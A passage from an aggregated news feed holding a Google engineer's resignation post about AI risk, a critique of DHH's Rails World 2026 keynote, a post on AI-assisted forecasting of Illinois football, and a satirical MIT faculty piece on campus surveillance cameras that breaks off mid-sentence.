    <content type="html">Thursday 24 September 2026&#xA;&#xA;Today I’m sending the following email:&#xA;&#xA;&gt; I’m resigning from Google today.&#xA;&gt;&#xA;&gt; This has not been an easy decision. I love my colleagues and my work environment, and being paid handsomely to solve fun puzzles has been amazing. But my team’s goal is ultimately to make AI much cheaper and lower-latency, and I don’t think that’s good for people right now: I firmly believe AI progress is currently far too rapid (and I have doubts about the destination too). It’s practically impossible for me to move to a different Google project that wouldn’t accelerate AI (partly due to my ties to New Zealand, where Google prefers not to do engineering), so my hands are tied.&#xA;&gt;&#xA;&gt; There are millions of people contributing to AI acceleration and taking my foot off the accelerator will have a very small impact … but not no impact; some of my skills are rare. I explored trying to positively influence events from within GDM, but that effect does not seem to be strong, and I can have influence outside Google too. It’s tempting to just turn a blind eye to the impact of my work, but that would not be a Jesus-following thing to do. I have written more about these tradeoffs on my blog.&#xA;&gt;&#xA;&gt; I don’t know exactly what I will do next. I will continue maintaining Pernosco and rr, and relatedly I plan to investigate how AIs debug code today and whether and how debugging tools could help. I have other project ideas I want to work on, some potentially lucrative, some not. Maybe I’ll find an existing project that’s compelling. I definitely want my future work to be unambiguously pro-human.&#xA;&#xA;First, for those who don’t know me: I’ve been in the tech industry a long time and I have a lot of Silicon Valley connections, but I live in New Zealand so I live outside the industry bubble and also outside the _American_ bubble. I’m a Christian, and actually an elder and occasional lay preacher in the English-speaking congregation of Auckland Chinese Presbyterian Church in Auckland’s inner city. That is, I am not a “tech bro”, nor do I fit into the self-described “rationalist community” … but I _do_ think many of their arguments deserve to be taken seriously.&#xA;&#xA;I have a lot of thoughts about AI, but I’m not going to elucidate them all in this post. In summary, I think the existential risks many people are warning about deserve to be taken seriously; a lot of the phenomena predicted by the “doomers” have come to pass (e.g., reward hacking, misalignment, deceptive models, model eval awareness, psychotic swarms). However, I am not convinced the chance of ASI doom is 100%. Rather, I think the risk is real but uncertain — but that itself is very alarming! We are morally obliged to make a massive effort to minimise such risk, and most likely the risk is high enough that aiming for ASI in the near future is inherently irresponsible. I’m also very concerned about other AI-related issues: cognitive surrender, AI-induced psychosis and loneliness, power concentration, economic disruption, cybersecurity, lack of accountability, and so on. I think the potential benefits of AI are quite unclear and currently, if I had to bet, I’d bet the negatives will outweigh the benefits … but I’m uncertain about that too.&#xA;&#xA;Here are some things I’m confident about. I’m confident that the people in AI labs who are issuing warnings about AI are generally sincere. I’ve talked to many people in Google Deepmind about these issues and almost all of them have sincere and serious concerns, whether or not they voice them in public. I have seen no hard evidence that people are hyping AI risk as a means to boost company stock prices or regulate away their competitors. (I think national and international regulation is desperately needed!) I’ve seen a lot of arguments of the form “you can’t trust those people”, and maybe that’s true, but such distrust is not a good reason to disregard their warnings, as Russell Moore eloquently explained recently.&#xA;&#xA;I’m confident that AI capability will continue to keep increasing steadily as long as we keep working on it. I wish that AI would hit some kind of plateau, or that we would identify important human cognitive abilities that AI will never replicate without a paradigm shift, but I don’t expect those wishes to come true. Model progress on benchmarks seems as fast or faster than ever, and with it, qualitatively new capabilities keep emerging. Even if model progress stopped today, we could spend years effectively unlocking new capabilities via new prompts and harnesses. Many prominent AI detractors (looking at you, Zitron and Doctorow) seem to think that AI is some kind of scam that won’t really work. I think it will.&#xA;&#xA;I’m _very_ confident that even if there is a path to a better future through AI, the current rate of change is **far too high**. AI is developing faster than humans can individually and collectively understand it and adapt to it. People trying to plan their futures, e.g. trying to plan for a world several years in the future as they enter university, can no longer do so the way previous generations could. I don’t think we’ve seen anything like this before, certainly not in the previous technological shifts I have lived through (PCs, the Internet, smartphones). Even during the Industrial Revolution, not only was change much slower but there were large swathes of human activity that were not and could not be directly impacted by the new machines. That is not very true anymore.&#xA;&#xA;Why leave now and not earlier? It’s nothing to do with the recent spate of viral resignations or “AI slowdown” warnings; that’s a coincidence. I’ve had this date in mind for a while, because I have a long-planned ten-day backpacking trip with my friends starting Monday (Abel Tasman and Wangapeka tracks) and I wanted to go before that.&#xA;&#xA;I did not work directly on AI capability, but on improved tools for hardware chip design. I really enjoyed the work, and for a while I told myself it was relatively harmless, but over time God forced me to confront the reality that the main impact of these tools will be to accelerate the design of a new breed of AI chips, which if successful will make AI much cheaper and faster — making AI more pervasive, and also more capable since we’ve learned to boost capabilities by burning more inference tokens. My duty to be a good employee meant I had to have an honest conversation with my skip manager and tell them I was at best reluctant to see their project succeed! Even after that I wanted to be really confident in my decision, because the great deal I had working for Google in New Zealand will probably never be available again. (Staying at Google and switching to a different engineering team not accelerating AI was impractical, because Google doesn’t have other engineering teams in New Zealand.) My aforementioned duty to my employer, and my respect for the people, was also a factor for not leaving too abruptly and trying to hand over my work in a reasonable state.&#xA;&#xA;What next? The most important thing I’m confident about is that the Jesus of the Bible is real and therefore God has a plan that’s good for us. I don’t know what that plan is (and wish I did) but it lets me sleep at night in spite of the AI chaos. I expect his plan involves me continuing to make the best use of my talents. Even if the plan is for Jesus to return to rescue us from our folly, we’d better be busy when he returns! So, as long as the talent God gave me is valuable, I want to keep working. As I mentioned above, I plan to continue maintaining Pernosco and rr. Under the Pernosco umbrella, I plan to study how AI agents debug code and whether debugging tools that can make them more effective at that. I want to use AI agents to bring some of my hobby project ideas to life. I’m keen to reap the benefits of AI, but cautiously, in ways that benefit humans and keep my own mind sharp. As much as I can, I will continue practicing and advocating for that here in New Zealand.</content>
    <link href="https://robert.ocallahan.org/2026/09/goodbye-google.html" rel="alternate"></link>
    <author>
      <name>classichasclass</name>
    </author>
  </entry>
  <entry>
    <title>What About Rails?</title>
    <updated>2026-09-25T23:44:57+09:00</updated>
    <id>lobsters_rvvqos</id>
    <content type="html"># What About Rails?&#xA;&#xA;David Heinemeier Hansson is, for better or worse, still in charge of Ruby on Rails. I’d love to stop paying attention to him, but I build applications with Rails, so his actions affect me and my clients. Yesterday, he gave the opening keynote at Rails World 2026, where he laid out his vision for the future of Rails.&#xA;&#xA;Or that’s what his talk should have done. His keynote had very little to do with Rails. Here’s what he did talk about, and what it means for Rails.&#xA;&#xA;## The Gist of It&#xA;&#xA;&gt; I have retired from being a professional programmer.&#xA;&#xA;Yes, he said that. No, that doesn’t mean he’s stepping away from software development. He now styles himself a “maker.” He now claims that English is the best programming language (because LLMs) and that we don’t even necessarily need to read the code the LLMs produce.&#xA;&#xA;&gt; Writing code by hand is no longer an economically productive enterprise for the vast majority of programmers working at the vast majority of companies.&#xA;&#xA;He’s all-in on LLM code generation, so he’s changed his stance on both native applications _and_ the Rust programming language. In his eyes, products like Hey were never really meant to be web apps.&#xA;&#xA;He’s argued for years that the Rails stack allows small teams to build ambitious products. Now, as 37signals are building the next version of Hey, they are going with a different stack. In his telling, the bottleneck is gone, so they’re using LLMs to build native applications for every platform they support.&#xA;&#xA;On the server side, they are going with Rust. DHH maintains that the language is hideous and that humans shouldn’t be subjected to it, but that it’s great for LLMs. Since he’s not reading the code anyway, he can now appreciate the performance and stability of the language.&#xA;&#xA;He claims to have written 150k lines of code in August of this year, having previously averaged about 30k lines per _year_ in the pre-LLM era. (He admits much of it is “verbose” Rust.) While Ruby made up about half his work over the last two decades, it sits at only 3% of what he wrote this year.&#xA;&#xA;The new strategy is rooted in the idea that humans reading code should be the exception, rather than the norm, “like seeing a bug in Sentry.”&#xA;&#xA;&gt; That’s today. By the end of the year, it will be virtually all domains, virtually all programmers, virtually all companies. So we best get used to it.&#xA;&#xA;He also wants to see every service offer a CLI so that he (read: “his agents”) can interact with it without using the UI.&#xA;&#xA;&gt; We can now want everything. We can now get everything.&#xA;&#xA;The tail end of his talk focused on his vision of LLMs enabling everyone to create whatever their hearts desire. He spoke about his work on Omarchy and finished by urging the audience to reject AI skepticism and doomerism:&#xA;&#xA;&gt; The black pill is for fucking losers. Don’t be a loser.&#xA;&#xA;## A Rails-shaped Hole&#xA;&#xA;DHH used the opening keynote of the world’s premier Rails conference to announce that a flagship Rails app was leaving Rails. The Rails content amounted to it still being a great fit for web applications (like Basecamp) _and_ being great for building with AI.&#xA;&#xA;For twenty years we’ve been sold Rails as the framework for “small teams, ambitious products”. I’ve been on a ton of teams that were able to do a lot with a little because of Rails. You probably have too.&#xA;&#xA;&gt; Hey was and is a web app because making web apps for small teams was how you could be productive. In the old times, that is, 5 minutes ago…&#xA;&#xA;His vision for Rails has narrowed. Rails wasn’t a preference. It was a workaround. It’s now the platform of choice for “web apps of necessity”. Convention over configuration has been reframed as “token efficiency”. Evil Martians’ agent evals are simply a reassurance; AI is good at Rails, so you don’t need to leave.&#xA;&#xA;There’s a more charitable framing. Rails _is_ a mature, stable framework. Stability _is_ good for agentic development. But he told us only 3% of his work this year was Ruby. Nothing in this talk attempts to distinguish a mature platform from one whose creator is no longer paying attention.&#xA;&#xA;The CLI demands were baffling. 37signals differentiates their products with opinionated UI/UX, not novel features. They are rewriting Hey as six native apps because the web fidelity isn’t good enough. So UI matters enough to justify complete rewrites, but also everyone just wants CLIs? If every product is used by an agent driving a CLI, what’s going to differentiate Basecamp or Fizzy from the cheapest alternative? I think this strategy needs a Rework.&#xA;&#xA;I’m left wondering what the vision for Rails really is now, and who’s going to drive it. While Mosscap forked on political grounds, part of their core argument is that Rails is done. It’s stable and needs only maintenance. Hanami has a roadmap and a vision for the future of building web applications with Ruby. While much of the day-to-day work on Rails comes from Shopify and elsewhere, DHH historically drove the vision. Now, is he arguing himself out of a business, or has he already left and not told the room?&#xA;&#xA;The creator of Rails is taking one of his flagship products off the stack. His Ruby output has dropped to 3%. He believes hand-written code will be history for virtually everyone by December. In the face of this, he offers flattery.&#xA;&#xA;&gt; Now maybe that’s a little scary. Like maybe we’re gonna get a little competition. Who’s afraid of a little competition? Aren’t you better? Don’t you know more? Of course you do. You’re a fucking Rails programmer. You’re the best of the best. This is goddamn Top Gun I’m looking at here. Embrace that. With gusto.&#xA;&#xA;This is reassurance instead of a plan. I bet it worked in the room too; confidence always does. But it’s totally hollow. You could say the same thing to a room of Django or Laravel or fucking Spring Boot developers _word for word_. The one moment he talked directly to Rails developers, he chose to say _nothing_ about Rails.&#xA;&#xA;## The Hallucinated Elephant in the Room&#xA;&#xA;On to the AI claims. For context, DHH runs a company that makes simple, user-friendly products. They’re so simple that even before the advent of LLMs they would periodically fully rewrite their apps to create new versions.&#xA;&#xA;37signals succeeds on product and marketing, not on solving hard technical problems. I’m not hating; lots of people love their apps. I’m just saying that their new Kanban app’s success is going to be driven by product decisions and marketing. Kanban board is not one of the hard problems of computer science.&#xA;&#xA;So does his approach (never looking at the output, evaluating the result from the outside) work? These tools have come a long way. They still make all kinds of mistakes, but as long as there’s a human in the loop to verify the results and reprompt, it works fine, at least for small apps and easy problems.&#xA;&#xA;It’s hard to take the numbers in this talk seriously, because David keeps undermining them. Throughout he presents topics as settled, despite failing to support them coherently.&#xA;&#xA;He admits that lines of code is a poor measure and grants that we can’t compare across languages fairly, then compares 150,000 lines of LLM output in August to his 30k/year average, then immediately concedes that he tolerates Rust code from LLMs that he “would never tolerate from \[his\] Ruby code”. Lines of hand-written, concise Ruby and LLM-generated Rust slop are not comparable. He seems to know this, but compares them anyway.&#xA;&#xA;&gt; In the past 20 months, I have written half as much code as I did in the previous 21 years.&#xA;&#xA;Apples to oranges again, _and_ he’s struggling with the definition of “to write”. He didn’t even _read_ the Rust his LLM generated.&#xA;&#xA;The Hey Next numbers are similarly problematic. There’s no questioning that Rust is a more performant language than Ruby, but it’s another unfair comparison.&#xA;&#xA;&gt; …we end up with a backend that requires 99% less CPU, 95% less memory, and the only reason it needs 10 hosts is for redundancy. In fact, our back-of-the-envelope calculation has led us to believe that Hey’s peak traffic could probably be served on a single Raspberry Pi.&#xA;&#xA;A pure-Ruby backend with no web frontend would also be vastly cheaper to run than the existing Rails version. Which gains come from Rust and which are from dropping the web app is unknowable. And none of it is an argument for his agent thesis. A team that likes writing Rust could build the same system. But he doesn’t think humans should write Rust.&#xA;&#xA;His claims about the 10x (and 100x and 1000x) programmer are equally suspect. The study in question was measuring the difference in developer _tooling_ (not developer productivity) and has been heavily critiqued from a number of angles. The “average of 10x” is just folklore, not even present in the original paper.&#xA;&#xA;Big productivity differences between developers are real. I’ve seen them myself. But somewhere between the paper and the stage we went from 28:1 to 1000:1, and the only place that’s settled is a keynote where only one person has a mic.&#xA;&#xA;Then there’s Basecamp 5. David reports that it resulted in an architecture “like Swiss cheese”. He blamed the models. Unreviewed, uncoordinated contributions will degrade architectures whether they come from agents or people. He argues later in the talk that “the price of repetition has gone to near zero”. Basecamp 5 is what nonzero looks like. We’ve already seen this failure mode in DHH’s own circle. Tobi Lütke recently lamented that “slop grenades” are a serious hazard when doing heavy agentic development.&#xA;&#xA;David asks us to learn from history, from the ATM story. People feared that ATMs would spell the end of bank tellers. Instead, we got the opposite. There’s a problem with his story, though: all the details are wrong. The decade is wrong. He references the wrong economist. The teller numbers are an order of magnitude off. The ending is already backwards. **Perhaps a human should have double-checked this talk.**&#xA;&#xA;“Never look at the code” and “security, something’s coming, get ready” are fifteen minutes apart in this talk. That’s a hell of a gulf, and there’s no bridge. I’m being told to believe that one company’s nascent effort to (re)build a relatively simple email product extrapolates to “virtually all programmers, virtually all companies, by December.”&#xA;&#xA;Finally, where a strategy should be, there’s a plea for optimism.&#xA;&#xA;&gt; I also think maybe some of \[the concerns\] are a little overstated. I mean, maybe, but probably not. I mean, some of them maybe a little more.&#xA;&#xA;Optimism isn’t a strategy, and it doesn’t override facts. The facts in this talk do not justify the optimism. I tuned in curious to see what’s next for Rails. I still do not know, and I don’t think DHH does either. He didn’t even demonstrate that he’s thinking about it.&#xA;&#xA;That’s what bothers me most. I’m skeptical of his AI claims, but that’s not the real issue here. I’m also not mad about the Hey rewrite. He’s allowed to build his apps with whatever tools he wants. I don’t even use Hey.&#xA;&#xA;The problem is that he stood up at Rails World and told everyone that he was moving his product off Rails and the best thing he could come up with to say to people still using Rails was that we’re “the best of the best.” Thanks, I guess.&#xA;&#xA;Maybe Rails is done, in the way the Mosscap project claims. Maybe it’s time to focus on stability and maintenance. If that’s the plan, someone needs to say it. If it isn’t, then let’s hear about where we’re headed.&#xA;&#xA;DHH did neither. He just told us the future is going to be great and warned against AI doomerism. I’d have settled for a slide or two about Rails.</content>
    <link href="https://jardo.dev/what-about-rails" rel="alternate"></link>
    <author>
      <name>nick4</name>
    </author>
  </entry>
  <entry>
    <title>What happens when you analyze your favorite college football team like the CIA?</title>
    <updated>2026-09-25T22:47:21+09:00</updated>
    <id>hn_49844642</id>
    <content type="html"># What happens when you analyze college football like the CIA?&#xA;&#xA;A couple weekends ago, the Illinois football team lost to Duke at home, 31–27. My Hinsley model immediately became much less optimistic about Illinois making the College Football Playoff.&#xA;&#xA;But it became **more** optimistic about the offensive line and our new&#xA;quarterback.&#xA;&#xA;That sounds contradictory, but it&#39;s exactly what I wanted to happen.&#xA;&#xA;For the past 15 years, we&#39;ve worked with people whose job is to make judgments about uncertain futures: intelligence and government analysts, foreign-policy researchers, investors, and corporate strategists. This year I decided to try an experiment. I took the methodology we&#39;ve developed for that kind of work and applied it to something considerably less consequential: assessing the fortunes of the University of Illinois football team.&#xA;&#xA;To understand why, it helps to think about what an intelligence analyst actually does.&#xA;&#xA;### How intelligence analysts think&#xA;&#xA;During the Cuban Missile Crisis, American intelligence analysts were trying to understand what the Soviet Union was doing in Cuba. They had a growing collection of evidence, but the difficult part was deciding what it meant. Analysts had to consider competing explanations, identify the observations that distinguished one from another, and revise their assessments as new evidence arrived. Eventually, U-2 photography provided much stronger evidence that the Soviets were installing nuclear missiles.&#xA;&#xA;The stakes are obviously rather different, but the analytical problem is surprisingly general. Usually there isn&#39;t one fact that gives you the answer. There are several possible futures, a huge amount of imperfect information, and a smaller number of things that actually help distinguish among them. The analyst&#39;s job is to impose structure on all of this without becoming more certain than the evidence warrants.&#xA;&#xA;You find versions of this problem everywhere. A foreign-policy analyst might be trying to understand whether a conflict will escalate. An investment analyst might be thinking about how geopolitics, regulation, or a new technology will affect an asset over the next decade. A government analyst might be assessing how another country will respond to a policy change. The useful question isn&#39;t simply, &#34;What do I think will happen?&#34; It&#39;s: What are the plausible ways this could turn out? What would have to be true for each of them? What should I be watching? And what new evidence would cause me to change my mind?&#xA;&#xA;It&#39;s not broadly known, but for more than a decade, Cultivate ran a prediction market for the U.S. Intelligence Community, giving analysts a way to make and aggregate probabilistic forecasts about geopolitical and national-security events. More recently, our work has expanded beyond forecasting individual questions into the broader analytical process around them.&#xA;&#xA;That&#39;s what led us to develop Continuous Probabilistic Foresight, or CPF, the methodology at the heart of Hinsley, our AI/human hybrid analysis platform. CPF starts with a strategic question and maps the range of plausible outcomes as scenarios. It decomposes the problem into the drivers and indicators that would make those scenarios more or less likely, makes assumptions explicit, and turns important uncertainties into resolvable forecasting questions. As new evidence arrives, those forecasts and the larger assessment can change with it.&#xA;&#xA;The idea isn&#39;t to build a crystal ball. It&#39;s to maintain a structured, explicit view of an uncertain future, and to know why your view changes when the evidence does.&#xA;&#xA;Which brings me back to Illinois football.&#xA;&#xA;### Building an intelligence model for Illinois football&#xA;&#xA;Having grown up in Champaign, I&#39;m a lifelong Illinois fan, and college football turns out to be almost comically well suited to this kind of analysis. A season is an uncertain future surrounded by an enormous amount of information that is constantly evolving. We have preseason recruiting, game results, injuries, competitor performance, statistics, coaching changes, on-field performance, preseason models, beat reporting, podcasts, and endless amounts of informed and uninformed commentary. We know some things with reasonable confidence, have strong opinions about others, and are almost certainly wrong about a few things we currently regard as obvious.&#xA;&#xA;So instead of just following the season the way I normally would, I asked Hinsley to follow Illinois the way an analyst might follow a country, company, market, or strategic issue.&#xA;&#xA;I started a couple months ago with the question I think most Illinois fans&#xA;are ultimately trying to answer before a season: **What is the ceiling this**&#xA;**season for the University of Illinois football team?**&#xA;&#xA;From there, I let Hinsley get to work.&#xA;&#xA;Its research agent began collecting information about the team: returning players, transfers, recruiting, injuries, coaching changes, position-group strengths and weaknesses, the schedule, preseason models, and so on.&#xA;&#xA;Its findings were that this outside view was fairly optimistic. Illinois had won 19 games over the previous two seasons, and Hinsley&#39;s research suggested a 10-win regular season and a possible College Football Playoff berth represented a plausible ceiling. But there were obvious reasons it might not happen. Illinois was replacing Luke Altmyer at quarterback, returning only one starter on the offensive line, and replacing a lot of defensive experience under a new coordinator.&#xA;&#xA;There was also a particularly interesting warning buried in the research: Illinois had won 13 one-score games over the previous three seasons. Maybe Bret Bielema&#39;s teams are unusually good at winning close games. Or maybe some of that was luck that wouldn&#39;t continue forever.&#xA;&#xA;That&#39;s exactly the kind of thing I wanted this exercise to expose. Instead of saying, &#34;Illinois has won nine games two years in a row, so they&#39;ll probably be good again,&#34; I now had a set of assumptions hiding underneath that belief.&#xA;&#xA;The next step was to ask Hinsley to turn the big question into four scenarios for how the season could end, and generate initial likelihoods for each of those scenarios based on everything it knew at that point.&#xA;&#xA;But scenarios and even their associated probabilities by themselves&#xA;aren&#39;t especially useful if you can&#39;t _explain_ why one is&#xA;becoming more likely and another less likely. So I built what we call a&#xA;decomposition: essentially a map of the things that could meaningfully affect&#xA;which scenario we ended up in.&#xA;&#xA;Mine had nine broad categories. They included the quarterback transition, offensive-line continuity and health, whether the defense could reload, performance against the best teams on the schedule, execution in toss-up games, how quickly transfers gelled, whether key players stayed healthy, special teams and possession margin, and the possibility of some unexpected roster or eligibility shock. Underneath those were much more specific things Hinsley could actually watch: Houser&#39;s completion and interception rates, sacks allowed, third-down defense, turnover margin, one-score results, injuries, and so on.&#xA;&#xA;This was the point where it started to feel less like having an opinion about Illinois and more like having a model of Illinois. Not a statistical model in the traditional sense, but a structured description of what would have to go right for the team to have a great season, what could prevent that from happening, and what evidence would tell me which direction we were heading.&#xA;&#xA;For a handful of the most important uncertainties, I went another step and turned them into forecast questions. Will Illinois allow 30 or fewer sacks this season? Will it finish with a turnover margin of at least +7? Will opponents convert fewer than 40% of their third downs? Will Katin Houser complete at least 64% of his passes while keeping his interception rate below 2.5%? Will Illinois finish in the top 12 of the final College Football Playoff rankings?&#xA;&#xA;Here&#39;s an example you can follow along with and see the latest results.&#xA;&#xA;In truly trying to assess the future performance of the team, those questions are much more useful to me than the endless debate on my message board subscription asking whether the offensive line is &#34;good&#34; or whether Houser is &#34;playing well,&#34; because eventually there will be an answer. Hinsley&#39;s AI forecasting ensemble puts probabilities on them, and I can make forecasts myself or invite friends to do the same. Over time, I can compare what the AI thought, what a bunch of Illinois fans thought, and what actually happened.&#xA;&#xA;You can see the entire model here:&#xA;&#xA;### Then Illinois lost to Duke&#xA;&#xA;A home loss like that tends to produce a fairly predictable response from fans. The team isn&#39;t as good as we thought. The season outlook is worse. It can be entertaining to vent and read others doing the same, but it&#39;s not very rational.&#xA;&#xA;Hinsley reacted differently because the game contained several distinct pieces of evidence. Illinois&#39;s chances of finishing in the top 12 of the final CFP rankings dropped, from 8% before the game to 4% afterwards. That makes sense: if you&#39;re already an outsider trying to get into the playoff, losing at home to Duke uses up a lot of your margin for error.&#xA;&#xA;But some of my forecasts moved in the opposite direction. One of the biggest preseason concerns about the team was the offensive line, where Illinois was replacing almost everyone. I had created a forecast asking whether the team would allow 30 or fewer sacks over the season. After two games, including Duke, Illinois hadn&#39;t allowed a single sack. So despite losing the game -- and despite some injuries on the line -- the forecast went from 52% to 61%.&#xA;&#xA;The same thing happened with Houser. I was tracking whether he could complete at least 64% of his passes while throwing interceptions on no more than 2.5% of his attempts. After Duke he was completing more than 71% of his passes with one interception in 52 attempts. His forecast improved from 37% to 42%.&#xA;&#xA;Meanwhile, the forecast that Illinois would finish with at least a +7 turnover margin fell from 29% to 22%. Illinois had lost the turnover battle and was now sitting at even for the season.&#xA;&#xA;Put those four movements next to each other and you get a much richer context of what happened and where the season could still head than &#34;Illinois lost to Duke at home, we&#39;re f\*^&amp;ed&#34;:&#xA;&#xA;CFP Top 12: 8% → 4% ↓&#xA;&#xA;30 or fewer sacks: 52% → 61% ↑&#xA;&#xA;Houser efficiency: 37% → 42% ↑&#xA;&#xA;+7 turnover margin: 29% → 22% ↓&#xA;&#xA;This, more than anything, is what I like about the approach. A loss is obviously important, but it doesn&#39;t follow that everything you believed about the team should move in the same direction. The playoff outlook got substantially worse. The evidence about pass protection got better. The evidence about Houser got somewhat better. The turnover outlook got worse.&#xA;&#xA;The question isn&#39;t simply whether the latest piece of news is &#34;good&#34; or &#34;bad.&#34; It&#39;s which parts of your model that new evidence should actually change.&#xA;&#xA;In a very low-stakes way, that&#39;s the same analytical habit I described earlier. Start with several possible futures and work backward to the things that would make one more likely than another to make the important uncertainties explicit. Then when new evidence arrives, update the beliefs that the evidence actually bears on rather than allowing one dramatic event to overwhelm the entire analysis.&#xA;&#xA;And because the structure is already there, I don&#39;t have to rebuild my view of Illinois every Sunday morning. The research keeps running, the forecasts keep updating, and the scenario probabilities change as new evidence comes in. Each week I can see not only what changed but why it changed.&#xA;&#xA;It also gives me something I&#39;ve never really had as a fan: a running record of what I believed about the team and why I believed it. That&#39;s surprisingly useful because sports fans are very good at rewriting history. After a player breaks out, it quickly starts to feel as though everyone knew he would be good. After an upset, all the warning signs suddenly seem obvious. Forecasting forces you to track what you actually thought before you knew the answer.&#xA;&#xA;### What else could you do with this?&#xA;&#xA;I&#39;m not much of a sports bettor, but there is an obvious application there too. If I were betting on games or trading on Kalshi or Polymarket, I&#39;d be less interested in whether Hinsley thought Illinois would win than in places where its probability differed meaningfully from the market&#39;s. A disagreement gives you something to investigate: what does my analysis believe that the market apparently doesn&#39;t? I&#39;d record those disagreements before the games and then keep score. Over enough predictions, I&#39;d find out whether I had discovered an actual informational advantage or merely a more elaborate way of expressing my fandom.&#xA;&#xA;There are more serious sports applications as well. If I were working for a Big Ten football program, I might have an analysis like this running for every other team in the conference. A research agent could continuously follow each program, maintain a structured assessment of its strengths and weaknesses, track important uncertainties, and flag meaningful changes. Coaches and analysts would still make the judgments, but they wouldn&#39;t have to spend as much time finding and organizing the information in the first place.&#xA;&#xA;The same seems useful for sports journalists. If I covered the Big Ten, why wouldn&#39;t I have one of these running for every team? Instead of trying to keep a mental model of the whole conference, I&#39;d have an explicit one for each team that was constantly being updated. I could still disagree with it, but at least I&#39;d have something systematic to disagree with.&#xA;&#xA;More broadly, I think this experiment illustrates something interesting about where AI is taking analysis. A lot of sophisticated analysis has historically required either specialized technical expertise or a great deal of manual work. I don&#39;t know how to build a serious quantitative model of a college football team, and I don&#39;t particularly want to learn. But I do know enough about Illinois football to ask useful questions, decide what matters, challenge assumptions, and judge whether an answer makes sense.&#xA;&#xA;AI changes which parts of that process I have to do myself. It can conduct much of the research, organize the evidence, help construct the analytical framework, make forecasts, monitor indicators, and continuously update the analysis. My job shifts toward deciding whether we&#39;re asking the right question, whether the model of the problem makes sense, and where I disagree with its judgments.&#xA;&#xA;You could do the same thing with almost any team or sport. Start with the question you actually care about. Define the plausible futures. Work backward to what would have to be true for each one. Identify the uncertainties that matter enough to forecast. Then keep updating the whole thing as reality unfolds.&#xA;&#xA;### Moneyball for people who don&#39;t know how to Moneyball&#xA;&#xA;And now I&#39;m curious to try it on other teams. If there&#39;s a team you think would make an interesting test case, send it my way and I may build one and share what it finds. Or, if you&#39;d rather try it yourself, sign up for Hinsley and get in touch with me. I&#39;m happy to walk you through how I set mine up and help you build a model for your own team.&#xA;&#xA;I&#39;m still going to read the Illinois message boards, of course. This just gives me a slightly more scientific way to decide when they&#39;re wrong.</content>
    <link href="https://www.cultivatelabs.com/posts/what-happens-when-you-analyze-college-football-like-the-cia" rel="alternate"></link>
    <author>
      <name>adam</name>
    </author>
  </entry>
  <entry>
    <title>How we learned to stop worrying and love campus surveillance</title>
    <updated>2026-09-26T04:56:57+09:00</updated>
    <id>hn_49849141</id>
    <content type="html">**If you weren’t on campus this summer,** then something you didn’t see – perhaps by design – was the installation of hundreds of small eyeball-shaped surveillance cameras. Building 1 alone now has 6-7 cameras per floor and _The Tech_ has reported on the locations of more than 500 others.\[1\] Cameras point towards faculty members’ offices and bathroom entrances. Some are so close to faculty offices that their microphones could reasonably be expected to pick up and record what is said in those rooms.\[2\] It turns out that MIT is exploring adding AI capabilities provided by Ambient.ai. This could make searching for any particular person a snap. You could just type in: “Show me all footage of the curly-haired chemistry colleague going to the bathroom.” In the May 2026 Institute Faculty Meeting, the MIT administration acknowledged that they have already tested AI capacities on our campus without our knowledge or consent.&#xA;&#xA;Some of our colleagues don’t like these new surveillance cameras. They say they are intrusive. They say they don’t want their movements, conversations, and bathroom rhythms monitored. They say that campus culture has become increasingly repressive, stifling speech and chilling protest. They say that the mere possibility of AI tracking sets into motion the Panopticon effect, whereby constant yet unverifiable surveillance leads us to anxiously alter our own behavior because someone could be tracking us at any moment. They say that more surveillance doesn’t equal more safety. They say that governments with a penchant for authoritarianism could enlist the information for broad-based repression. They say that facial detection and recognition systems have well-documented gender and racial biases. They say that it’s a waste of money.&#xA;&#xA;&gt; #### We do not agree with these annoying colleagues who are causing trouble for our benevolent Big Brother Tech administrators!&#xA;&#xA;For this reason, we are writing to let the community know about our new arts initiative: The Initiative to Beautify the AI-capable Surveillance Benevolently Installed by our Administrator Overseers and the MIT Corporation In Collaboration with Big Brother Tech Companies. For a handy acronym, you can refer to our project as the IBAISBIAOMITCORPICBBTC initiative.&#xA;&#xA;The goal of the IBAISBIAOMITCORPICBBTC initiative is to beautify every single AI-capable camera on our campus as an indicator of our support and love for the campus surveillance now bestowed upon us from up high. To beautify the cameras, we are sticking luxurious gems of many colors on each and every camera. You can see a beautified AI-capable surveillance camera in the photo below. The gems are removable in case someone doesn’t like them, but we frankly cannot imagine who might dispute the aesthetic appeal of bedazzled surveillance cameras. The IBAISBIAOMITCORPICBBTC initiative started in August 2026 and will continue for as long as there are naked, AI-capable surveillance cameras waiting for bedazzlement.&#xA;&#xA;**An AI-capable surveillance camera in Building 10, post-bedazzling.** _Photo: Claudia Tomateo_&#xA;&#xA;Each gem that we place on an AI-capable surveillance camera is an indicator of our admiring appreciation for Big Brothertechnology. At a time of austerity and belt-tightening, the MIT administration loves us enough to spend millions of dollars to watch over us as closely as if we were maximum security prison inmates, or bugs under microscopes. For that reason, we, the co-authors, are paying for the luxurious gemstones out of our own pockets. No need to thank us! We do it because we love the Institute and we know that these are hard times.&#xA;&#xA;The choices the MIT administration has made during these trying circumstances are so inspiring. They align perfectly with our core values. For example, deep funding cuts to the MIT Libraries have set into motion a plan to cancel our subscriptions to 700+ academic journals integral to our research and teaching.\[3\] But who needs journals when you have Grok and Instagram! The tiresomely old-school cost of supporting scholarship and pedagogy is so dull compared to the exciting opportunity of an Ambient.ai contract that will empower the tracking potential of our 500 new surveillance cameras!&#xA;&#xA;We are also glad that the administration only consulted a handful of staff and faculty (we are pretty sure it was five) before transforming our campus into an AI-capable Panopticon. This was exactly the correct number of people, each with exactly the correct viewpoint on the issue, which is that, to be safer, we should always have more cameras and cops. This is always the right recipe! There is definitely no scholarship or first-person experience that contradicts this.&#xA;&#xA;Thank goodness the administration did not broaden its initial decision-making process to hear from its own faculty who study AI nor to consult with international students and scholars, undocumented people, survivors of intimate partner violence and stalking, trans and nonbinary people, and communities of color. Those perspectives definitely do not matter and the five people who were consulted do indeed know exactly what to do (AI-CAPABLE CAMERAS! EVERYWHERE!).&#xA;&#xA;We look forward not only to the beauty that these bedazzled cameras will bring, but also to their efficiency in turning the MIT tradition of hacking into a distant memory. Now that no action in our hallowed halls can be assumed anonymous or unmonitored, our whole culture will change. And what a relief that is! After all, we do not want to be seen as celebrating the freewheeling creativity of outside-the-box thinkers and doers! That kind of licentiousness is not helpful for attracting the obedient NPC students and faculty that the Institute depends on.\[4\]&#xA;&#xA;Even better, maybe MIT can now arrange for hacks – especially ones related to particularly ticklish topics – to trigger the AI-capable cameras to alert the Cambridge police directly, so that we can auto-prosecute the perpetrators (thereby saving resources – so efficient!). Sounds like science fiction, 